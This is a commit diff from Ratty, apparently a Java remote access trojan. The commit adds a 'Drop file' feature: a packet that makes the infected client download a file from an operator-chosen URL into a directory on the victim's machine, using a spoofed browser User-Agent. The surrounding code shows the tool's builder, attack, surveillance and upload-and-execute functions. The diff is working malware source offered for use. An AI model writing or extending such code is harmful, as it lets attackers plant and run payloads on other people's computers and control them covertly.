Major changes

Added DownloadUrlPacket
Fixes

Ratty/res/language/lang.properties

@@ -13,6 +13,7 @@ server.udp=UDP
 server.attack_message=Which protocol?
 server.upload_execute_warning=The file will be uploaded to the same directory as the client file.\r\n\
 Continue?
+server.url_message=Type in a URL.
 
 builder.address_question=Which address should the client connect to?
 builder.port_question=Which port?
@@ -42,6 +43,7 @@ action.execute=Execute file
 action.delete=Delete file
 action.new_directory=Create new directory
 action.upload_execute=Upload and execute file
+action.drop_file=Drop file
 
 column.name=Name
 column.location=Location

Ratty/res/language/lang_de.properties

@@ -13,6 +13,7 @@ server.udp=UDP
 server.attack_message=Welches Protokoll?
 server.upload_execute_warning=Die Datei wird in denselben Ordner wie die Clientdatei hochgeladen.\r\n\
 Fortfahren?
+server.url_message=Gib eine URL ein.
 
 builder.address_question=Mit welcher Adresse soll sich der Client verbinden?
 builder.port_question=Welcher Port?
@@ -42,6 +43,7 @@ action.execute=Datei ausf
 action.delete=Datei löschen
 action.new_directory=Neuen Ordner erstellen
 action.upload_execute=Datei hochladen und ausführen
+action.drop_file=Datei aus dem Internet laden
 
 column.name=Name
 column.location=Ort

Ratty/res/language/lang_en.properties

@@ -13,6 +13,7 @@ server.udp=UDP
 server.attack_message=Which protocol?
 server.upload_execute_warning=The file will be uploaded to the same directory as the client file.\r\n\
 Continue?
+server.url_message=Type in a URL.
 
 builder.address_question=Which address should the client connect to?
 builder.port_question=Which port?
@@ -42,6 +43,7 @@ action.execute=Execute file
 action.delete=Delete file
 action.new_directory=Create new directory
 action.upload_execute=Upload and execute file
+action.drop_file=Drop file
 
 column.name=Name
 column.location=Location

Ratty/src/de/sogomn/rat/packet/CreateDirectoryPacket.java

@@ -7,12 +7,13 @@ import de.sogomn.rat.ActiveConnection;
 
 public final class CreateDirectoryPacket implements IPacket {
 	
-	private String path, name;
+	private String directoryPath, name;
 	
-	private static final String FILE_SEPARATOR = "/";
+	private static final String SEPARATOR_REGEX = "[\\\\\\/]";
+	private static final String SEPARATOR = "/";
 	
 	public CreateDirectoryPacket(final String path, final String name) {
-		this.path = path;
+		this.directoryPath = path.replaceAll(SEPARATOR_REGEX, SEPARATOR);
 		this.name = name;
 	}
 	
@@ -22,39 +23,41 @@ public final class CreateDirectoryPacket implements IPacket {
 	
 	@Override
 	public void send(final ActiveConnection connection) {
-		connection.writeUTF(path);
+		connection.writeUTF(directoryPath);
 		connection.writeUTF(name);
 	}
 	
 	@Override
 	public void receive(final ActiveConnection connection) {
-		path = connection.readUTF();
+		directoryPath = connection.readUTF();
 		name = connection.readUTF();
 	}
 	
 	@Override
 	public void execute(final ActiveConnection connection) {
-		final File folder = new File(path);
+		final File directory = new File(directoryPath);
 		
-		String fullPath = null;
+		String directoryPath = null;
 		
-		if (folder.isDirectory()) {
-			fullPath = path + FILE_SEPARATOR + name;
+		if (directory.isDirectory()) {
+			directoryPath = this.directoryPath;
 		} else {
-			final File parent = folder.getParentFile();
+			final File parent = directory.getParentFile();
 			
 			if (parent != null) {
-				fullPath = parent.getAbsolutePath() + FILE_SEPARATOR + name;
+				directoryPath = parent.getAbsolutePath();
 			}
 		}
 		
-		if (fullPath != null) {
-			FileUtils.createFolder(fullPath);
+		if (directoryPath != null) {
+			final String path = directoryPath + File.separator + name;
+			
+			FileUtils.createFolder(path);
 		}
 	}
 	
 	public String getPath() {
-		return path;
+		return directoryPath;
 	}
 	
 	public String getName() {

Ratty/src/de/sogomn/rat/packet/DownloadUrlPacket.java

@@ -1,11 +1,12 @@
 package de.sogomn.rat.packet;
 
+import java.io.ByteArrayOutputStream;
+import java.io.File;
 import java.io.IOException;
 import java.io.InputStream;
+import java.io.OutputStream;
 import java.net.HttpURLConnection;
 import java.net.URL;
-import java.util.List;
-import java.util.Map;
 
 import de.sogomn.engine.util.FileUtils;
 import de.sogomn.rat.ActiveConnection;
@@ -15,7 +16,12 @@ public final class DownloadUrlPacket implements IPacket {
 	private String address, directoryPath;
 	
 	private static final String HTTP_PREFIX = "http://";
-	private static final String FILE_SEPARATOR = "/";
+	private static final String USER_AGENT = "User-Agent";
+	private static final String USER_AGENT_VALUE = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0";
+	private static final String CONNECTION = "Connection";
+	private static final String CONNECTION_VALUE = "close";
+	private static final String DEFAULT_NAME = "file";
+	private static final int BUFFER_SIZE = 1024;
 	
 	public DownloadUrlPacket(final String address, final String directoryPath) {
 		this.directoryPath = directoryPath;
@@ -29,29 +35,54 @@ public final class DownloadUrlPacket implements IPacket {
 		}
 	}
 	
-	private byte[] readData(final String address) throws IOException {
+	public DownloadUrlPacket() {
+		this("", "");
+	}
+	
+	private void copyStream(final InputStream in, final OutputStream out) throws IOException {
+		final byte[] buffer = new byte[BUFFER_SIZE];
+		
+		int bytesRead = 0;
+		
+		while ((bytesRead = in.read(buffer)) != -1) {
+			out.write(buffer, 0, bytesRead);
+			out.flush();
+		}
+	}
+	
+	private DesktopFile readFile(final String address) throws IOException {
 		final URL url = new URL(address);
 		final HttpURLConnection con = (HttpURLConnection)url.openConnection();
-		final Map<String, List<String>> headers = con.getHeaderFields();
+		
+		con.setRequestProperty(USER_AGENT, USER_AGENT_VALUE);
+		con.setRequestProperty(CONNECTION, CONNECTION_VALUE);
+		con.connect();
+		
 		final InputStream in = con.getInputStream();
-		final int length = in.available();
-		final byte[] data = new byte[length];
+		final String fileName = con.getURL().getFile();
+		final int lastSlash = fileName.lastIndexOf("/");
+		final int questionMark = fileName.indexOf("?");
+		final String name;
+		final ByteArrayOutputStream out = new ByteArrayOutputStream();
 		
-		headers.keySet().stream().forEach(key -> {
-			final List<String> values = headers.get(key);
-			
-			System.out.print(key + ": ");
-			
-			for (final String value : values) {
-				System.out.print(value + " ");
+		copyStream(in, out);
+		out.close();
+		in.close();
+		
+		if (lastSlash != -1) {
+			if (questionMark != -1) {
+				name = fileName.substring(lastSlash + 1, questionMark);
+			} else {
+				name = fileName.substring(lastSlash + 1);
 			}
-			
-			System.out.println();
-		});
+		} else {
+			name = DEFAULT_NAME;
+		}
 		
-		in.read(data);
+		final byte[] data = out.toByteArray();
+		final DesktopFile file = new DesktopFile(name, data);
 		
-		return data;
+		return file;
 	}
 	
 	@Override
@@ -68,14 +99,50 @@ public final class DownloadUrlPacket implements IPacket {
 	
 	@Override
 	public void execute(final ActiveConnection connection) {
-		try {
-			final String path = directoryPath + FILE_SEPARATOR + "";
-			final byte[] data = readData(address);
+		final File directory = new File(directoryPath);
+		
+		String directoryPath = null;
+		
+		if (directory.isDirectory()) {
+			directoryPath = this.directoryPath;
+		} else {
+			final File parent = directory.getParentFile();
 			
+			if (parent != null) {
+				directoryPath = parent.getAbsolutePath();
+			}
+		}
+		
+		if (directoryPath != null) {
+			try {
+				final DesktopFile file = readFile(address);
+				
+				file.write(directoryPath);
+			} catch (final NullPointerException ex) {
+				//...
+			} catch (final IOException ex) {
+				ex.printStackTrace();
+			}
+		}
+	}
+	
+	private static class DesktopFile {
+		
+		final String name;
+		final byte[] data;
+		
+		public DesktopFile(final String name, final byte[] data) {
+			this.name = name;
+			this.data = data;
+		}
+		
+		public void write(final String directoryPath) {
+			final String path = directoryPath + File.separator + name;
+			
+			FileUtils.createFile(path);
 			FileUtils.writeData(path, data);
-		} catch (final IOException ex) {
-			ex.printStackTrace();
 		}
+		
 	}
 	
 }

Ratty/src/de/sogomn/rat/packet/PacketType.java

@@ -23,7 +23,8 @@ public enum PacketType {
 	VOICE(16, VoicePacket.class),
 	WEBSITE(17, WebsitePacket.class),
 	AUDIO(18, AudioPacket.class),
-	PING(19, PingPacket.class);
+	PING(19, PingPacket.class),
+	DOWNLOAD_URL(20, DownloadUrlPacket.class);
 	
 	public final byte id;
 	public final Class<? extends IPacket> clazz;

Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java

@@ -12,16 +12,16 @@ public final class UploadFilePacket implements IPacket {
 	private String directoryPath, fileName;
 	
 	private static final String USER_DIR = "user.dir";
-	private static final String FILE_SEPARATOR = "/";
 	private static final String SEPARATOR_REGEX = "[\\\\\\/]";
+	private static final String SEPARATOR = "/";
 	
 	public UploadFilePacket(final String filePath, final String directoryPath) {
-		this.directoryPath = directoryPath;
+		this.directoryPath = directoryPath.replaceAll(SEPARATOR_REGEX, SEPARATOR);
 		
 		final File file = new File(filePath);
 		
 		data = FileUtils.readExternalData(filePath);
-		fileName = file.getName().replaceAll(SEPARATOR_REGEX, "/");
+		fileName = file.getName();
 	}
 	
 	public UploadFilePacket(final File file, final String folderPath) {
@@ -62,19 +62,21 @@ public final class UploadFilePacket implements IPacket {
 	public void execute(final ActiveConnection connection) {
 		final File directory = new File(directoryPath);
 		
-		String path = null;
+		String directoryPath = null;
 		
 		if (directory.isDirectory()) {
-			path = directoryPath + FILE_SEPARATOR + fileName;
+			directoryPath = this.directoryPath;
 		} else {
 			final File parent = directory.getParentFile();
 			
 			if (parent != null) {
-				path = parent.getAbsolutePath() + FILE_SEPARATOR + fileName;
+				directoryPath = parent.getAbsolutePath();
 			}
 		}
 		
-		if (path != null) {
+		if (directoryPath != null) {
+			final String path = directoryPath + File.separator + fileName;
+			
 			FileUtils.writeData(path, data);
 		}
 	}

Ratty/src/de/sogomn/rat/server/gui/FileTree.java

@@ -46,6 +46,7 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
 	public static final String EXECUTE = LANGUAGE.getString("action.execute");
 	public static final String DELETE = LANGUAGE.getString("action.delete");
 	public static final String NEW_DIRECTORY = LANGUAGE.getString("action.new_directory");
+	public static final String DROP_FILE = LANGUAGE.getString("action.drop_file");
 	
 	public static final String[] COMMANDS = {
 		REQUEST,
@@ -53,7 +54,8 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
 		UPLOAD,
 		EXECUTE,
 		DELETE,
-		NEW_DIRECTORY
+		NEW_DIRECTORY,
+		DROP_FILE
 	};
 	
 	public FileTree() {

Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@@ -63,13 +63,13 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
 	private static final BufferedImage GUI_ICON_LARGE = ImageUtils.scaleImage(GUI_ICON_SMALL, 128, 128);
 	private static final BufferedImage[] MENU_ICONS = new SpriteSheet(ImageUtils.scaleImage(ImageUtils.loadImage("/gui_menu_icons.png"), 2), 16 * 2, 16 * 2).getSprites();
 	private static final SpriteSheet CATEGORY_SHEET = new SpriteSheet(ImageUtils.scaleImage(ImageUtils.loadImage("/gui_category_icons.png"), 2), 16 * 2, 16 * 2);
-	private static final BufferedImage FILE_MANAGEMENT_ICON = CATEGORY_SHEET.getSprite(0);
-	private static final BufferedImage SURVEILLANCE_ICON = CATEGORY_SHEET.getSprite(1);
+	private static final BufferedImage SURVEILLANCE_ICON = CATEGORY_SHEET.getSprite(0);
+	private static final BufferedImage FILE_MANAGEMENT_ICON = CATEGORY_SHEET.getSprite(1);
 	private static final BufferedImage UTILITY_ICON = CATEGORY_SHEET.getSprite(2);
 	private static final BufferedImage OTHER_ICON = CATEGORY_SHEET.getSprite(3);
 	
-	private static final String FILE_MANAGEMENT = LANGUAGE.getString("menu.file_management");
 	private static final String SURVEILLANCE = LANGUAGE.getString("menu.surveillance");
+	private static final String FILE_MANAGEMENT = LANGUAGE.getString("menu.file_management");
 	private static final String UTILITY = LANGUAGE.getString("menu.utility");
 	private static final String OTHER = LANGUAGE.getString("menu.other");
 	private static final HashMap<String, BufferedImage> FILE_MANAGEMENT_ITEM_DATA = new HashMap<String, BufferedImage>();
@@ -126,12 +126,14 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
 				final int rowIndex = table.rowAtPoint(mousePoint);
 				
 				lastServerClientClicked = tableModel.getServerClient(rowIndex);
+				
+				table.setRowSelectionInterval(rowIndex, rowIndex);
 			}
 		};
 		final String currentPath = System.getProperty("user.dir");
 		final File currentDirectory = new File(currentPath);
-		final JMenu fileManagement = createMenu(FILE_MANAGEMENT, FILE_MANAGEMENT_ICON, FILE_MANAGEMENT_ITEM_DATA);
 		final JMenu surveillance = createMenu(SURVEILLANCE, SURVEILLANCE_ICON, SURVEILLANCE_ITEM_DATA);
+		final JMenu fileManagement = createMenu(FILE_MANAGEMENT, FILE_MANAGEMENT_ICON, FILE_MANAGEMENT_ITEM_DATA);
 		final JMenu utility = createMenu(UTILITY, UTILITY_ICON, UTILITY_ITEM_DATA);
 		final JMenu other = createMenu(OTHER, OTHER_ICON, OTHER_ITEM_DATA);
 		final JTableHeader tableHeader = table.getTableHeader();
@@ -144,9 +146,10 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
 		build.addActionListener(this::actionPerformed);
 		menuBar.add(build);
 		menuBar.add(attack);
-		menu.add(fileManagement);
 		menu.add(surveillance);
+		menu.add(fileManagement);
 		menu.add(utility);
+		menu.addSeparator();
 		menu.add(other);
 		scrollPane.setBorder(null);
 		table.setComponentPopupMenu(menu);

Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@@ -20,6 +20,7 @@ import de.sogomn.rat.packet.CreateDirectoryPacket;
 import de.sogomn.rat.packet.DeleteFilePacket;
 import de.sogomn.rat.packet.DesktopPacket;
 import de.sogomn.rat.packet.DownloadFilePacket;
+import de.sogomn.rat.packet.DownloadUrlPacket;
 import de.sogomn.rat.packet.ExecuteFilePacket;
 import de.sogomn.rat.packet.FileRequestPacket;
 import de.sogomn.rat.packet.FreePacket;
@@ -73,6 +74,7 @@ public final class RattyGuiController extends AbstractRattyController implements
 	private static final String BUILDER_ADDRESS_QUESTION = LANGUAGE.getString("builder.address_question");
 	private static final String BUILDER_PORT_QUESTION = LANGUAGE.getString("builder.port_question");
 	private static final String UPLOAD_EXECUTE_WARNING = LANGUAGE.getString("server.upload_execute_warning");
+	private static final String URL_MESSAGE = LANGUAGE.getString("server.url_message");
 	
 	private static final Sound PING = Sound.loadSound("/ping.wav");
 	
@@ -114,7 +116,7 @@ public final class RattyGuiController extends AbstractRattyController implements
 	}
 	
 	private WebsitePacket createWebsitePacket() {
-		final String input = gui.getInput();
+		final String input = gui.getInput(URL_MESSAGE);
 		
 		if (input != null) {
 			final WebsitePacket packet = new WebsitePacket(input);
@@ -287,6 +289,20 @@ public final class RattyGuiController extends AbstractRattyController implements
 		client.connection.addPacket(execute);
 	}
 	
+	private DownloadUrlPacket createDownloadUrlPacket(final ServerClient client) {
+		final String address = gui.getInput(URL_MESSAGE);
+		
+		if (address != null) {
+			final FileTreeNode node = client.fileTree.getLastNodeClicked();
+			final String path = node.getPath();
+			final DownloadUrlPacket packet = new DownloadUrlPacket(address, path);
+			
+			return packet;
+		}
+		
+		return null;
+	}
+	
 	private void handleCommand(final ServerClient client, final String command) {
 		if (command == RattyGui.FILES) {
 			client.fileTree.setVisible(true);
@@ -336,6 +352,8 @@ public final class RattyGuiController extends AbstractRattyController implements
 			packet = createDeletePacket(client);
 		} else if (command == FileTree.NEW_DIRECTORY) {
 			packet = createFolderPacket(client);
+		} else if (command == FileTree.DROP_FILE) {
+			packet = createDownloadUrlPacket(client);
 		} else if (command == DisplayPanel.MOUSE_EVENT && client.isStreamingDesktop()) {
 			packet = client.displayPanel.getLastMouseEventPacket();
 		} else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) {